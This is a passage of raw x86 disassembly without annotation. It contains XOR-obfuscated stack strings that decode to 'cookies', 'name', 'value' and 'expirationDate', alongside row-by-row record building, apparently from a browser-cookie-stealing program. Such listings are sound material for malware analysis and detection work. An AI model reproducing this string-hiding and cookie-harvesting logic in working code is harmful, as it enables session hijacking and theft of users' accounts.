add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43abe4
push ecx
push esi
call fcn.004dcc02
add esp, 8
cmp byte [ebp - 0x1a], 0
mov byte [ebp - 4], 0x16
je 0x43a3e3
mov ecx, dword [ebp - 0xf4]
mov edx, dword [ebp - 0x14]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43a3d9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43abe4
push ecx
push edx
call fcn.004dcc02
add esp, 8
test edi, edi
je 0x43a43b
cmp dword [edi + 0x2c], 0
je 0x43a416
mov eax, 4
cmp ax, word [edi + 0x30]
jae 0x43a416
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43a40b
push eax
call dword [0x532d20]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0xa0
jmp 0x43a440
mov eax, dword [edi]
test eax, eax
je 0x43a43b
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43a42d
push eax
call dword [0x532d20]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.0048d600
add esp, 0xc
mov ecx, 0x51d4d8
mov dl, 1
call fcn.0049bb10
mov dword [ebp - 0x18], eax
test edi, edi
je 0x43a4a4
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x43a484
cmp byte [esi + 0x1e], 0
jne 0x43a467
mov edx, esi
cmp ecx, 0xc0a
jne 0x43a47f
push 0
push 7
push esi
call fcn.0048d600
mov byte [esi + 0x1e], 0
add esp, 0xc
mov edx, dword [edi]
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x43a48b
mov eax, 0xff
mov edx, esi
and eax, ecx
mov dword [edi + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x43a4a1
push eax
call dword [0x532d28]
add esp, 4
mov eax, dword [ebp - 0x18]
push eax
call fcn.004ea526
add esp, 4
mov dword [ebp - 0x218], eax
lea eax, [ebp - 0x218]
mov dword [ebp - 0x214], edx
xorps xmm0, xmm0
mov byte [ebp - 0x150], 0
movq qword [ebp - 0x148], xmm0
push eax
lea eax, [ebp - 0x150]
push eax
call fcn.00476970
mov byte [ebp - 4], 0x21
xor eax, eax
mov dword [ebp - 0xab], 0x7b61686a
mov dword [ebp - 0xa7], 0x7f617561
mov dword [ebp - 0xa3], 0x7b5d7678
mov dword [ebp - 0x9f], 0x100796f
nop dword [eax]
lea ecx, [eax + 0xf]
xor byte [ebp + eax - 0xab], cl
inc eax
cmp eax, 0xe
jb 0x43a510
lea eax, [ebp - 0xab]
mov byte [ebp - 0x9c], 0
push eax
lea ecx, [ebp - 0x130]
call fcn.00469c40
mov byte [ebp - 4], 0x16
mov edi, eax
mov cl, byte [ebp - 0x150]
mov eax, dword [ebp - 0x148]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x144]
mov esi, dword [edi + 0xc]
mov byte [ebp - 0x150], dl
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x150]
mov dword [edi + 8], eax
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x144], esi
call fcn.004636e0
mov edi, dword [ebp - 0x20]
test edi, edi
je 0x43a5d9
cmp dword [edi + 0x2c], 0
je 0x43a5b4
mov eax, 5
cmp ax, word [edi + 0x30]
jae 0x43a5b4
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43a5a9
push eax
call dword [0x532d20]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0xc8
jmp 0x43a5de
mov eax, dword [edi]
test eax, eax
je 0x43a5d9
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43a5cb
push eax
call dword [0x532d20]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.0048d600
add esp, 0xc
mov ecx, 0x51d4d8
mov dl, 1
call fcn.0049bb10
mov dword [ebp - 0x14], eax
test edi, edi
je 0x43a63f
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x43a622
cmp byte [esi + 0x1e], 0
jne 0x43a605
mov edx, esi
cmp ecx, 0xc0a
jne 0x43a61d
push 0
push 7
push esi
call fcn.0048d600
mov byte [esi + 0x1e], 0
add esp, 0xc
mov edx, dword [edi]
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x43a629
mov eax, 0xff
mov edx, esi
and eax, ecx
mov dword [edi + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x43a63f
push eax
call dword [0x532d28]
add esp, 4
xorps xmm0, xmm0
mov byte [ebp - 0x1a0], 3
push 0x18
movq qword [ebp - 0x198], xmm0
call fcn.004dc981
mov esi, eax
add esp, 4
lea eax, [ebp - 0x10a]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x20c], esi
mov byte [ebp - 4], 0x22
xorps xmm0, xmm0
mov edx, dword [ebp - 0x14]
mov ecx, edx
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea eax, [ecx + 1]
mov dword [ebp - 0x14], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43a695
sub ecx, dword [ebp - 0x14]
push ecx
push edx
mov ecx, esi
call fcn.00403410
mov dword [ebp - 0x20c], 0
mov dword [ebp - 0x198], esi
mov byte [ebp - 4], 0x23
xor ecx, ecx
mov dword [ebp - 0x3a], 0x777c7161
mov word [ebp - 0x36], 0x100
nop dword [eax + eax]
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0x3a], al
inc ecx
cmp ecx, 4
jb 0x43a6d0
lea eax, [ebp - 0x3a]
mov byte [ebp - 0x35], 0
push eax
lea ecx, [ebp - 0x130]
call fcn.00469c40
mov esi, eax
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x194]
mov edi, dword [ebp - 0x18]
mov cl, byte [esi]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x1a0], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x198], ecx
lea ecx, [ebp - 0x1a0]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x194], edx
call fcn.004636e0
mov edi, dword [ebp - 0x20]
test edi, edi
je 0x43a789
cmp dword [edi + 0x2c], 0
je 0x43a764
mov eax, 6
cmp ax, word [edi + 0x30]
jae 0x43a764
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43a759
push eax
call dword [0x532d20]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0xf0
jmp 0x43a78e
mov eax, dword [edi]
test eax, eax
je 0x43a789
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43a77b
push eax
call dword [0x532d20]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.0048d600
add esp, 0xc
mov ecx, 0x51d4d8
mov dl, 1
call fcn.0049bb10
mov dword [ebp - 0x14], eax
test edi, edi
je 0x43a7ef
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x43a7d2
cmp byte [esi + 0x1e], 0
jne 0x43a7b5
mov eax, esi
cmp ecx, 0xc0a
jne 0x43a7cd
push 0
push 7
push esi
call fcn.0048d600
mov byte [esi + 0x1e], 0
add esp, 0xc
mov eax, dword [edi]
mov ecx, 7
mov edx, dword [esi + 0x18]
jmp 0x43a7d9
mov edx, 0xff
mov eax, esi
and ecx, edx
mov dword [edi + 0x64], ecx
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43a7ef
push eax
call dword [0x532d28]
add esp, 4
xorps xmm0, xmm0
mov byte [ebp - 0x1b0], 3
push 0x18
movq qword [ebp - 0x1a8], xmm0
call fcn.004dc981
mov esi, eax
add esp, 4
lea eax, [ebp - 0x109]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], esi
mov byte [ebp - 4], 0x24
xorps xmm0, xmm0
mov edx, dword [ebp - 0x14]
mov ecx, edx
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea eax, [ecx + 1]
mov dword [ebp - 0x14], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43a840
sub ecx, dword [ebp - 0x14]
push ecx
push edx
mov ecx, esi
call fcn.00403410
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x1a8], esi
mov byte [ebp - 4], 0x25
xor ecx, ecx
mov dword [ebp - 0x6f], 0x677d7179
mov word [ebp - 0x6b], 0x76
mov byte [ebp - 0x69], 1
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0x6f], al
inc ecx
cmp ecx, 5
jb 0x43a877
lea eax, [ebp - 0x6f]
mov byte [ebp - 0x69], 0
push eax
lea ecx, [ebp - 0x130]
call fcn.00469c40
mov esi, eax
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x1a4]
mov edi, dword [ebp - 0x18]
mov cl, byte [esi]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x1b0], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x1a8], ecx
lea ecx, [ebp - 0x1b0]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x1a4], edx
call fcn.004636e0
lea eax, [ebp - 0xd8]
push eax
lea ecx, [ebp - 0xc0]
call fcn.00463350
lea ecx, [ebp - 0x130]
push ecx
mov ecx, eax
call fcn.00463070
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 0x10
call fcn.004636e0
mov edi, dword [ebp - 0x20]
mov ecx, edi
call fcn.0049ec40
cmp eax, 0x64
je 0x439b13
test edi, edi
je 0x43a98f
mov esi, dword [edi]
mov eax, dword [esi + 0x44]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x43a931
push eax
call dword [0x532d20]
add esp, 4
mov eax, dword [edi + 0x50]
mov dword [ebp - 0x18], 0
cmp eax, 0xbdf20da3
je 0x43a949
cmp eax, 0x519c2973
jne 0x43a953
mov ecx, edi
call fcn.0049da40
mov dword [ebp - 0x18], eax
mov ecx, edi
call fcn.0049dc50
test esi, esi
je 0x43a97e
cmp byte [esi + 0x1e], 0
jne 0x43a96d
cmp dword [ebp - 0x18], 0xc0a
jne 0x43a97e
push 0
push 7
push esi
call fcn.0048d600
add esp, 0xc
mov byte [esi + 0x1e], 0
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x43a98f
push eax
call dword [0x532d28]
add esp, 4
mov ecx, dword [ebp - 0x118]
call fcn.00414f80
mov dword [ebp - 0x88], 0x797e7f6c
xor ecx, ecx
mov dword [ebp - 0x84], 0x66717a
mov byte [ebp - 0x80], 1
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0x88], al
inc ecx
cmp ecx, 7
jb 0x43a9b4
mov ecx, dword [ebp - 0x11c]
lea eax, [ebp - 0x88]
push eax
mov byte [ebp - 0x80], 0
call fcn.00469c40
lea ecx, [ebp - 0xc0]
push ecx
mov ecx, eax
call fcn.00463070
lea ecx, [ebp - 0xc0]
call fcn.004636e0
mov esi, dword [ebp - 0x24]
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x1b4]
cmp ecx, 0x10
jb 0x43aa35
mov edx, dword [ebp - 0x1c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43aa2b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43abe4
push ecx
push edx
call fcn.004dcc02
add esp, 8
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0xc4]
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 0x1b4], 0xf
mov byte [ebp - 0x1c8], 0
cmp ecx, 0x10
jb 0x43aa8e
mov edx, dword [ebp - 0xd8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43aa84
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43abe4
push ecx
push edx
call fcn.004dcc02
add esp, 8
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x240]
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 0xf
mov byte [ebp - 0xd8], 0
cmp ecx, 0x10
jb 0x43aae7
mov edx, dword [ebp - 0x254]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43aadd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43abe4
push ecx
push edx
call fcn.004dcc02
add esp, 8
mov edi, dword [ebp - 0x114]
push edi
call dword [0x50b1c4]
inc edi
add edi, eax
mov dword [ebp - 0x114], edi
cmp byte [edi], 0
jne 0x439430
mov ecx, dword [ebp - 0x1cc]
cmp ecx, 0x10
jb 0x43ab40
mov edx, dword [ebp - 0x1e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ab36
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43abe4
push ecx
push edx
call fcn.004dcc02
add esp, 8
mov ecx, dword [ebp - 0x1f4]
mov dword [ebp - 0x1d0], 0
mov dword [ebp - 0x1cc], 0xf
mov byte [ebp - 0x1e0], 0
cmp ecx, 0x10
jb 0x43ab91
mov edx, dword [ebp - 0x208]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ab87
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43abe4
push ecx
push edx
call fcn.004dcc02
add esp, 8
mov ecx, dword [ebx + 0x1c]
cmp ecx, 0x10
jb 0x43abc1
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43abb7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43abe4
push ecx
push edx
call fcn.004dcc02
add esp, 8
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00402c40
call fcn.00402c40
call fcn.004e1ea0
lea ecx, [ebp - 0xc0]
call fcn.00467900
push eax
lea ecx, [ebp - 0x2d8]
call fcn.00403300
push eax
mov edx, 0x51fdf8
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x2f0]
call fcn.00469a90
add esp, 4
push eax
mov edx, 0x131
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x2c0]
call fcn.00409520
add esp, 4
lea eax, [ebp - 0x2c0]
push 0x530038
push eax
call fcn.004de5eb
int3